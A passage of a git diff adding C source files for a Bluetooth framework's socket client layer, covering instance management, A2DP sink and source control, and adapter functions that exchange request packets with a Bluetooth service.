copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdio.h> +#include <stdlib.h> +#include <unistd.h> + +#include "bluetooth.h" +#include "bt_debug.h" +#include "bt_socket.h" +#include "manager_service.h" +#include "service_loop.h" + +#ifdef CONFIG_NET_RPMSG +#include <netpacket/rpmsg.h> +#endif + +bt_instance_t* bluetooth_create_instance(void) +{ + bt_status_t status; + bt_instance_t* ins; + + ins = zalloc(sizeof(bt_instance_t)); + if (ins == NULL) { + return NULL; + } + +#if defined(CONFIG_BLUETOOTH_SERVER) + status = bt_socket_client_init(ins, PF_LOCAL, + "bluetooth", NULL, CONFIG_BLUETOOTH_SOCKET_PORT); +#elif defined(CONFIG_NET_RPMSG) + status = bt_socket_client_init(ins, AF_RPMSG, + "bluetooth", CONFIG_BLUETOOTH_RPMSG_CPUNAME, CONFIG_BLUETOOTH_SOCKET_PORT); +#elif defined(CONFIG_NET_IPv4) + status = bt_socket_client_init(ins, AF_INET, + "bluetooth", NULL, CONFIG_BLUETOOTH_SOCKET_PORT); +#else + status = bt_socket_client_init(ins, PF_LOCAL, + "bluetooth", NULL, CONFIG_BLUETOOTH_SOCKET_PORT); +#endif + + if (status != BT_STATUS_SUCCESS) { + free(ins); + return NULL; + } + + status = manager_create_instance(PTR2INT(uint64_t) ins, BLUETOOTH_SYSTEM, + "local", getpid(), 0, &ins->app_id); + if (status != BT_STATUS_SUCCESS) { + bt_socket_client_deinit(ins); + free(ins); + ins = NULL; + } +#if 0 + packet.manager_pl._bluetooth_create_instance.pid = getpid(); + packet.manager_pl._bluetooth_create_instance.handle = (uint32_t)ins; + packet.manager_pl._bluetooth_create_instance.type = BLUETOOTH_USER; + snprintf(packet.manager_pl._bluetooth_create_instance.cpu_name, + sizeof(packet.manager_pl._bluetooth_create_instance.cpu_name), + "%s", CONFIG_RPTUN_LOCAL_CPUNAME); + + status = bt_socket_client_sendrecv(ins, &packet, BT_MANAGER_CREATE_INSTANCE); + if (status != BT_STATUS_SUCCESS || packet.manager_r.status != BT_STATUS_SUCCESS) { + bluetooth_delete_instance(ins); + return NULL; + } + ins->app_id = packet.manager_r.v32; +#endif + + return ins; +} + +bt_instance_t* bluetooth_create_async_instance(uv_loop_t* loop, bt_ipc_connected_cb_t connected, bt_ipc_disconnected_cb_t disconnected, void* user_data) +{ + bt_status_t status; + bt_instance_t* ins; + + ins = zalloc(sizeof(bt_instance_t)); + if (ins == NULL) { + return NULL; + } + +#if defined(CONFIG_BLUETOOTH_SERVER) + status = bt_socket_async_client_init(ins, loop, PF_LOCAL, + "bluetooth", NULL, CONFIG_BLUETOOTH_SOCKET_PORT, connected, disconnected, user_data); +#elif defined(CONFIG_NET_RPMSG) + status = bt_socket_async_client_init(ins, loop, AF_RPMSG, + "bluetooth", CONFIG_BLUETOOTH_RPMSG_CPUNAME, CONFIG_BLUETOOTH_SOCKET_PORT, connected, disconnected, user_data); +#elif defined(CONFIG_NET_IPv4) + status = bt_socket_async_client_init(ins, loop, AF_INET, + "bluetooth", NULL, CONFIG_BLUETOOTH_SOCKET_PORT, connected, disconnected, user_data); +#else + status = bt_socket_async_client_init(ins, loop, PF_LOCAL, + "bluetooth", NULL, CONFIG_BLUETOOTH_SOCKET_PORT, connected, disconnected, user_data); +#endif + + if (status != BT_STATUS_SUCCESS) { + free(ins); + return NULL; + } + + status = manager_create_async_instance(PTR2INT(uint64_t) ins, BLUETOOTH_SYSTEM, + "local", getpid(), (uid_t)pthread_self(), &ins->app_id); + if (status != BT_STATUS_SUCCESS) { + bt_socket_client_deinit(ins); + free(ins); + ins = NULL; + } + + return ins; +} +bt_instance_t* bluetooth_find_instance(pid_t pid) +{ + bt_status_t status; + uint64_t handle; + + status = manager_get_instance("local", pid, &handle); + if (status != BT_STATUS_SUCCESS) { + return NULL; + } + return INT2PTR(bt_instance_t*) handle; +} + +bt_instance_t* bluetooth_find_async_instance(pid_t pid) +{ + bt_status_t status; + uint64_t handle; + + status = manager_get_async_instance("local", pid, &handle); + if (status != BT_STATUS_SUCCESS) { + return NULL; + } + return INT2PTR(bt_instance_t*) handle; +} + +bt_instance_t* bluetooth_get_instance(void) +{ + bt_instance_t* bluetooth_ins = bluetooth_find_instance(getpid()); + + if (bluetooth_ins == NULL) + return bluetooth_create_instance(); + else + return bluetooth_ins; +} + +bt_instance_t* bluetooth_get_async_instance(uv_loop_t* loop, bt_ipc_connected_cb_t connected, bt_ipc_disconnected_cb_t disconnected, void* user_data) +{ + bt_instance_t* bluetooth_ins = bluetooth_find_async_instance(getpid()); + + if (bluetooth_ins == NULL) + return bluetooth_create_async_instance(loop, connected, disconnected, user_data); + else + return bluetooth_ins; +} + +void* bluetooth_get_proxy(bt_instance_t* ins, enum profile_id id) +{ + return NULL; +} + +void bluetooth_delete_instance(bt_instance_t* ins) +{ + BT_SOCKET_INS_VALID(ins, ); + + manager_delete_instance(ins->app_id); + bt_socket_client_deinit(ins); + free(ins); +} + +void bluetooth_delete_async_instance(bt_instance_t* ins) +{ + BT_SOCKET_INS_VALID(ins, ); + + manager_delete_instance(ins->app_id); + bt_socket_async_client_deinit(ins); + free(ins); +} + +bt_status_t bluetooth_start_service(bt_instance_t* ins, enum profile_id id) +{ + bt_status_t status; + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + packet.manager_pl._bluetooth_start_service.appid = ins->app_id; + packet.manager_pl._bluetooth_start_service.id = id; + status = bt_socket_client_sendrecv(ins, &packet, BT_MANAGER_START_SERVICE); + if (status != BT_STATUS_SUCCESS || packet.manager_r.status != BT_STATUS_SUCCESS) { + return packet.manager_r.status; + } + + return BT_STATUS_SUCCESS; +} + +bt_status_t bluetooth_stop_service(bt_instance_t* ins, enum profile_id id) +{ + bt_status_t status; + bt_message_packet_t packet; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + packet.manager_pl._bluetooth_stop_service.appid = ins->app_id; + packet.manager_pl._bluetooth_stop_service.id = id; + status = bt_socket_client_sendrecv(ins, &packet, BT_MANAGER_STOP_SERVICE); + if (status != BT_STATUS_SUCCESS || packet.manager_r.status != BT_STATUS_SUCCESS) { + return packet.manager_r.status; + } + + return BT_STATUS_SUCCESS; +} + +#include "uv.h" +bool bluetooth_set_external_uv(bt_instance_t* ins, uv_loop_t* ext_loop) +{ + BT_SOCKET_INS_VALID(ins, false); + + ins->external_loop = ext_loop; + + return true; +} diff --git a/framework/socket/bt_a2dp_sink.c b/framework/socket/bt_a2dp_sink.c new file mode 100644 index 0000000000000000000000000000000000000000..9ce6cc91242442d955363b4b00efd2ea1b0def4c --- /dev/null +++ b/framework/socket/bt_a2dp_sink.c @@ -0,0 +1,180 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> + +#include "bt_a2dp_sink.h" +#include "bt_socket.h" + +void* bt_a2dp_sink_register_callbacks(bt_instance_t* ins, const a2dp_sink_callbacks_t* callbacks) +{ + bt_message_packet_t packet; + bt_status_t status; + void* handle; + + BT_SOCKET_INS_VALID(ins, NULL); + + if (ins->a2dp_sink_callbacks != NULL) { + handle = bt_remote_callbacks_register(ins->a2dp_sink_callbacks, NULL, (void*)callbacks); + return handle; + } + + ins->a2dp_sink_callbacks = bt_callbacks_list_new(CONFIG_BLUETOOTH_MAX_REGISTER_NUM); + +#ifdef CONFIG_BLUETOOTH_FEATURE + handle = bt_remote_callbacks_register(ins->a2dp_sink_callbacks, ins, (void*)callbacks); +#else + handle = bt_remote_callbacks_register(ins->a2dp_sink_callbacks, NULL, (void*)callbacks); +#endif + + if (handle == NULL) { + bt_callbacks_list_free(ins->a2dp_sink_callbacks); + ins->a2dp_sink_callbacks = NULL; + return handle; + } + + status = bt_socket_client_sendrecv(ins, &packet, BT_A2DP_SINK_REGISTER_CALLBACKS); + if (status != BT_STATUS_SUCCESS || packet.a2dp_sink_r.status != BT_STATUS_SUCCESS) { + bt_callbacks_list_free(ins->a2dp_sink_callbacks); + ins->a2dp_sink_callbacks = NULL; + return NULL; + } + + return handle; +} + +bool bt_a2dp_sink_unregister_callbacks(bt_instance_t* ins, void* cookie) +{ + bt_message_packet_t packet; + bt_status_t status; + callbacks_list_t* cbsl; + + BT_SOCKET_INS_VALID(ins, false); + if (!ins->a2dp_sink_callbacks) + return false; + + bt_remote_callbacks_unregister(ins->a2dp_sink_callbacks, NULL, cookie); + if (bt_callbacks_list_count(ins->a2dp_sink_callbacks) > 0) { + return true; + } + + cbsl = ins->a2dp_sink_callbacks; + ins->a2dp_sink_callbacks = NULL; + bt_socket_client_free_callbacks(ins, cbsl); + + status = bt_socket_client_sendrecv(ins, &packet, BT_A2DP_SINK_UNREGISTER_CALLBACKS); + if (status != BT_STATUS_SUCCESS || packet.a2dp_sink_r.status != BT_STATUS_SUCCESS) { + return false; + } + + return true; +} + +bool bt_a2dp_sink_is_connected(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, false); + memcpy(&packet.a2dp_sink_pl._bt_a2dp_sink_is_connected.addr, addr, sizeof(bt_address_t)); + + status = bt_socket_client_sendrecv(ins, &packet, BT_A2DP_SINK_IS_CONNECTED); + if (status != BT_STATUS_SUCCESS) { + return false; + } + + return packet.a2dp_sink_r.bbool; +} + +bool bt_a2dp_sink_is_playing(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, false); + memcpy(&packet.a2dp_sink_pl._bt_a2dp_sink_is_playing.addr, addr, sizeof(bt_address_t)); + + status = bt_socket_client_sendrecv(ins, &packet, BT_A2DP_SINK_IS_PLAYING); + if (status != BT_STATUS_SUCCESS) { + return false; + } + + return packet.a2dp_sink_r.bbool; +} + +profile_connection_state_t bt_a2dp_sink_get_connection_state(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, PROFILE_STATE_DISCONNECTED); + memcpy(&packet.a2dp_sink_pl._bt_a2dp_sink_get_connection_state.addr, addr, sizeof(bt_address_t)); + + status = bt_socket_client_sendrecv(ins, &packet, BT_A2DP_SINK_GET_CONNECTION_STATE); + if (status != BT_STATUS_SUCCESS) { + return PROFILE_STATE_DISCONNECTED; + } + + return packet.a2dp_sink_r.state; +} + +bt_status_t bt_a2dp_sink_connect(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + memcpy(&packet.a2dp_sink_pl._bt_a2dp_sink_connect.addr, addr, sizeof(bt_address_t)); + + status = bt_socket_client_sendrecv(ins, &packet, BT_A2DP_SINK_CONNECT); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.a2dp_sink_r.status; +} + +bt_status_t bt_a2dp_sink_disconnect(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + memcpy(&packet.a2dp_sink_pl._bt_a2dp_sink_disconnect.addr, addr, sizeof(bt_address_t)); + + status = bt_socket_client_sendrecv(ins, &packet, BT_A2DP_SINK_DISCONNECT); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.a2dp_sink_r.status; +} + +bt_status_t bt_a2dp_sink_set_active_device(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + memcpy(&packet.a2dp_sink_pl._bt_a2dp_sink_set_active_device.addr, addr, sizeof(bt_address_t)); + + status = bt_socket_client_sendrecv(ins, &packet, BT_A2DP_SINK_SET_ACTIVE_DEVICE); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.a2dp_sink_r.status; +} diff --git a/framework/socket/bt_a2dp_source.c b/framework/socket/bt_a2dp_source.c new file mode 100644 index 0000000000000000000000000000000000000000..712c49eabaf26214351192d3f110420893c73d07 --- /dev/null +++ b/framework/socket/bt_a2dp_source.c @@ -0,0 +1,194 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> +#include <stdlib.h> +#include <string.h> + +#include "bt_a2dp_source.h" +#include "bt_socket.h" + +void* bt_a2dp_source_register_callbacks(bt_instance_t* ins, const a2dp_source_callbacks_t* callbacks) +{ + bt_message_packet_t packet; + bt_status_t status; + void* handle; + + BT_SOCKET_INS_VALID(ins, NULL); + if (ins->a2dp_source_callbacks != NULL) { + handle = bt_remote_callbacks_register(ins->a2dp_source_callbacks, NULL, (void*)callbacks); + return handle; + } + + ins->a2dp_source_callbacks = bt_callbacks_list_new(CONFIG_BLUETOOTH_MAX_REGISTER_NUM); + + handle = bt_remote_callbacks_register(ins->a2dp_source_callbacks, NULL, (void*)callbacks); + if (handle == NULL) { + bt_callbacks_list_free(ins->a2dp_source_callbacks); + ins->a2dp_source_callbacks = NULL; + return handle; + } + + status = bt_socket_client_sendrecv(ins, &packet, BT_A2DP_SOURCE_REGISTER_CALLBACKS); + if (status != BT_STATUS_SUCCESS || packet.a2dp_source_r.status != BT_STATUS_SUCCESS) { + bt_callbacks_list_free(ins->a2dp_source_callbacks); + ins->a2dp_source_callbacks = NULL; + return NULL; + } + + return handle; +} + +bool bt_a2dp_source_unregister_callbacks(bt_instance_t* ins, void* cookie) +{ + bt_message_packet_t packet; + bt_status_t status; + callbacks_list_t* cbsl; + + BT_SOCKET_INS_VALID(ins, false); + if (!ins->a2dp_source_callbacks) + return false; + + bt_remote_callbacks_unregister(ins->a2dp_source_callbacks, NULL, cookie); + if (bt_callbacks_list_count(ins->a2dp_source_callbacks) > 0) { + return true; + } + + cbsl = ins->a2dp_source_callbacks; + ins->a2dp_source_callbacks = NULL; + bt_socket_client_free_callbacks(ins, cbsl); + + status = bt_socket_client_sendrecv(ins, &packet, BT_A2DP_SOURCE_UNREGISTER_CALLBACKS); + if (status != BT_STATUS_SUCCESS || packet.a2dp_source_r.status != BT_STATUS_SUCCESS) { + return false; + } + + return true; +} + +bool bt_a2dp_source_is_connected(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, false); + memcpy(&packet.a2dp_source_pl._bt_a2dp_source_is_connected.addr, addr, sizeof(bt_address_t)); + + status = bt_socket_client_sendrecv(ins, &packet, BT_A2DP_SOURCE_IS_CONNECTED); + if (status != BT_STATUS_SUCCESS) { + return false; + } + + return packet.a2dp_source_r.bbool; +} + +bool bt_a2dp_source_is_playing(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, false); + memcpy(&packet.a2dp_source_pl._bt_a2dp_source_is_playing.addr, addr, sizeof(bt_address_t)); + + status = bt_socket_client_sendrecv(ins, &packet, BT_A2DP_SOURCE_IS_PLAYING); + if (status != BT_STATUS_SUCCESS) { + return false; + } + + return packet.a2dp_source_r.bbool; +} + +profile_connection_state_t bt_a2dp_source_get_connection_state(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, PROFILE_STATE_DISCONNECTED); + memcpy(&packet.a2dp_source_pl._bt_a2dp_source_get_connection_state.addr, addr, sizeof(bt_address_t)); + + status = bt_socket_client_sendrecv(ins, &packet, BT_A2DP_SOURCE_GET_CONNECTION_STATE); + if (status != BT_STATUS_SUCCESS) { + return PROFILE_STATE_DISCONNECTED; + } + + return packet.a2dp_source_r.state; +} + +bt_status_t bt_a2dp_source_connect(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + memcpy(&packet.a2dp_source_pl._bt_a2dp_source_connect.addr, addr, sizeof(bt_address_t)); + + status = bt_socket_client_sendrecv(ins, &packet, BT_A2DP_SOURCE_CONNECT); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.a2dp_source_r.status; +} + +bt_status_t bt_a2dp_source_disconnect(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + memcpy(&packet.a2dp_source_pl._bt_a2dp_source_disconnect.addr, addr, sizeof(bt_address_t)); + + status = bt_socket_client_sendrecv(ins, &packet, BT_A2DP_SOURCE_DISCONNECT); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.a2dp_source_r.status; +} + +bt_status_t bt_a2dp_source_set_silence_device(bt_instance_t* ins, bt_address_t* addr, bool silence) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + memcpy(&packet.a2dp_source_pl._bt_a2dp_source_set_silence_device.addr, addr, sizeof(bt_address_t)); + + // TODO: lack ins parameters + status = bt_socket_client_sendrecv(ins, &packet, BT_A2DP_SOURCE_SET_SILENCE_DEVICE); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.a2dp_source_r.status; +} + +bt_status_t bt_a2dp_source_set_active_device(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + memcpy(&packet.a2dp_source_pl._bt_a2dp_source_set_active_device.addr, addr, sizeof(bt_address_t)); + + // TODO: lack ins parameters + status = bt_socket_client_sendrecv(ins, &packet, BT_A2DP_SOURCE_SET_ACTIVE_DEVICE); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.a2dp_source_r.status; +} diff --git a/framework/socket/bt_adapter.c b/framework/socket/bt_adapter.c new file mode 100644 index 0000000000000000000000000000000000000000..ed001a1b07e420d1e508ec355077ed7d204be24e --- /dev/null +++ b/framework/socket/bt_adapter.c @@ -0,0 +1,804 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include <stdint.h> +#include <stdlib.h> +#include <string.h> + +#include "bt_adapter.h" +#include "bt_socket.h" + +void* bt_adapter_register_callback(bt_instance_t* ins, const adapter_callbacks_t* adapter_cbs) +{ + bt_message_packet_t packet; + bt_status_t status; + void* handle; + + BT_SOCKET_INS_VALID(ins, NULL); + + if (ins->adapter_callbacks) { + handle = bt_remote_callbacks_register(ins->adapter_callbacks, NULL, (void*)adapter_cbs); + return handle; + } + + ins->adapter_callbacks = bt_callbacks_list_new(CONFIG_BLUETOOTH_MAX_REGISTER_NUM); + if (ins->adapter_callbacks == NULL) + return NULL; + +#ifdef CONFIG_BLUETOOTH_FEATURE + handle = bt_remote_callbacks_register(ins->adapter_callbacks, ins, (void*)adapter_cbs); +#else + handle = bt_remote_callbacks_register(ins->adapter_callbacks, NULL, (void*)adapter_cbs); +#endif + + if (handle == NULL) { + bt_callbacks_list_free(ins->adapter_callbacks); + ins->adapter_callbacks = NULL; + return handle; + } + + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_REGISTER_CALLBACK); + if (status != BT_STATUS_SUCCESS || packet.adpt_r.status != BT_STATUS_SUCCESS) { + bt_callbacks_list_free(ins->adapter_callbacks); + ins->adapter_callbacks = NULL; + return NULL; + } + + return handle; +} + +bool bt_adapter_unregister_callback(bt_instance_t* ins, void* cookie) +{ + bt_message_packet_t packet; + bt_status_t status; + callbacks_list_t* cbsl; + + BT_SOCKET_INS_VALID(ins, false); + + if (!ins->adapter_callbacks) + return false; + + bt_remote_callbacks_unregister(ins->adapter_callbacks, NULL, cookie); + if (bt_callbacks_list_count(ins->adapter_callbacks) > 0) { + return true; + } + + cbsl = ins->adapter_callbacks; + ins->adapter_callbacks = NULL; + bt_socket_client_free_callbacks(ins, cbsl); + + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_UNREGISTER_CALLBACK); + if (status != BT_STATUS_SUCCESS || packet.adpt_r.status != BT_STATUS_SUCCESS) { + return false; + } + + return true; +} + +bt_status_t bt_adapter_enable(bt_instance_t* ins) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_ENABLE); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.status; +} + +bt_status_t bt_adapter_disable(bt_instance_t* ins) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_DISABLE); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.status; +} + +bt_status_t bt_adapter_disable_safe(bt_instance_t* ins) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_DISABLE_SAFE); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.status; +} + +bt_status_t bt_adapter_enable_le(bt_instance_t* ins) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_ENABLE_LE); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.status; +} + +bt_status_t bt_adapter_disable_le(bt_instance_t* ins) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_DISABLE_LE); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.status; +} + +bt_adapter_state_t bt_adapter_get_state(bt_instance_t* ins) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_ADAPTER_STATE_OFF); + + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_GET_STATE); + if (status != BT_STATUS_SUCCESS) { + return BT_ADAPTER_STATE_OFF; + } + + return packet.adpt_r.state; +} + +bool bt_adapter_is_le_enabled(bt_instance_t* ins) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, false); + + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_IS_LE_ENABLED); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.bbool; +} + +bt_device_type_t bt_adapter_get_type(bt_instance_t* ins) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_DEVICE_TYPE_UNKNOW); + + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_GET_TYPE); + if (status != BT_STATUS_SUCCESS) { + return BT_DEVICE_TYPE_UNKNOW; + } + + return packet.adpt_r.dtype; +} + +bt_status_t bt_adapter_set_discovery_filter(bt_instance_t* ins) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_SET_DISCOVERY_FILTER); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.status; +} + +bt_status_t bt_adapter_start_discovery(bt_instance_t* ins, uint32_t timeout) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adpt_pl._bt_adapter_start_discovery.v32 = timeout; + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_START_DISCOVERY); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.status; +} + +bt_status_t bt_adapter_start_limited_discovery(bt_instance_t* ins, uint32_t timeout) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adpt_pl._bt_adapter_start_limited_discovery.v32 = timeout; + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_START_LIMITED_DISCOVERY); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.status; +} + +bt_status_t bt_adapter_cancel_discovery(bt_instance_t* ins) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_CANCEL_DISCOVERY); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.status; +} + +bool bt_adapter_is_discovering(bt_instance_t* ins) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, false); + + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_IS_DISCOVERING); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.bbool; +} + +void bt_adapter_get_address(bt_instance_t* ins, bt_address_t* addr) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, ); + + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_GET_ADDRESS); + if (status != BT_STATUS_SUCCESS) { + memset(addr, 0, sizeof(*addr)); + } + + memcpy(addr, &packet.adpt_pl._bt_adapter_get_address.addr, sizeof(*addr)); +} + +bt_status_t bt_adapter_set_name(bt_instance_t* ins, const char* name) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + if (strlen(name) > sizeof(packet.adpt_pl._bt_adapter_set_name.name)) { + return BT_STATUS_PARM_INVALID; + } + + memset(packet.adpt_pl._bt_adapter_set_name.name, 0, sizeof(packet.adpt_pl._bt_adapter_set_name.name)); + strncpy(packet.adpt_pl._bt_adapter_set_name.name, name, sizeof(packet.adpt_pl._bt_adapter_set_name.name) - 1); + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_SET_NAME); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.status; +} + +void bt_adapter_get_name(bt_instance_t* ins, char* name, int length) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, ); + + if (length < sizeof(packet.adpt_pl._bt_adapter_get_name.name)) { + return; + } + + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_GET_NAME); + if (status != BT_STATUS_SUCCESS) { + return; + } + + strncpy(name, packet.adpt_pl._bt_adapter_get_name.name, 64); +} + +bt_status_t bt_adapter_get_uuids(bt_instance_t* ins, bt_uuid_t* uuids, uint16_t* size) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_GET_UUIDS); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + *size = packet.adpt_pl._bt_adapter_get_uuids.size; + + if (*size > 0) + memcpy(uuids, packet.adpt_pl._bt_adapter_get_uuids.uuids, sizeof(bt_uuid_t) * *size); + + return packet.adpt_r.status; +} + +bt_status_t bt_adapter_set_scan_mode(bt_instance_t* ins, bt_scan_mode_t mode, bool bondable) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_STATUS_PARM_INVALID); + + packet.adpt_pl._bt_adapter_set_scan_mode.mode = mode; + packet.adpt_pl._bt_adapter_set_scan_mode.bondable = bondable; + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_SET_SCAN_MODE); + if (status != BT_STATUS_SUCCESS) { + return status; + } + + return packet.adpt_r.status; +} + +bt_scan_mode_t bt_adapter_get_scan_mode(bt_instance_t* ins) +{ + bt_message_packet_t packet; + bt_status_t status; + + BT_SOCKET_INS_VALID(ins, BT_BR_SCAN_MODE_NONE); + + status = bt_socket_client_sendrecv(ins, &packet, BT_ADAPTER_GET_SCAN_MODE); + if (status != BT_STATUS_SUCCESS) { + return BT_BR_SCAN_MODE_NONE; + } + + return packet.adpt_r.mode; +} + +bt_status_t bt_adapter_set_device_class(bt_instance_t* 